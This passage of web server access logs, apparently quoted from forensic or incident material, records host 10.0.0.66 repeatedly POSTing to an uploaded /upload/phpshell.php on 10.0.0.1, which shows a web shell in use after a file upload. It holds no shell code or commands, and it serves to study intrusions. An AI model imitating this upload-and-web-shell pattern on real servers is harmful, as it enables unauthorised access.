    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
```

```
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:33:53 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:34:03 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 1087
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:34:03 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:34:58 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 1094
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:34:58 +0100] "GET
    /upload/style.css HTTP/1.1" 200 734
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:35:23 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 2187
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:35:36 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:36:10 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 2206
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:36:10 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:36:55 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 2430
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:36:55 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
```

```
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:47:34 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 2491
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:47:34 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:47:54 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 3738
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:48:16 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 3929
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:50:04 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 3941
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:50:04 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:51:30 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 3967
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:56:34 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 4073
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:56:35 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:56:50 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 4095
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:00:10 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 4153
```

```
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:00:10 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:00:16 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 4169
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:03:58 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 4187
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:03:58 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:08:45 +0100] "POST /upload.php
    HTTP/1.1" 200 82 "http://10.0.0.1/upload.html" "Mozilla/5.0
    (X11; U; Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:08:56 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 4208
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:08:56 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:09:02 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 4232
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:09:14 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 4254
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:09:19 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 4259
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:09:27 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 5068
```

```
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:11:18 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 5120
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:15:59 +0100] "GET
    /upload/phpshell.php HTTP/1.1" 200 5178 "-" "Mozilla/5.0
    (X11; U; Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:15:45 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 638
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:15:42 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 639
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:14:59 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 640
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:11:45 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 5178
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:17:03 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:18:48 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 639
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:18:57 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 1005
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:19:29 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 1068
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:19:37 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 1143
```

```
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:21:25 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 1165
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:21:25 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:21:56 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 1203
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:29:22 +0100] "GET
    /upload/style.css HTTP/1.1" 304 -
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:23:30:17 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 639
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
```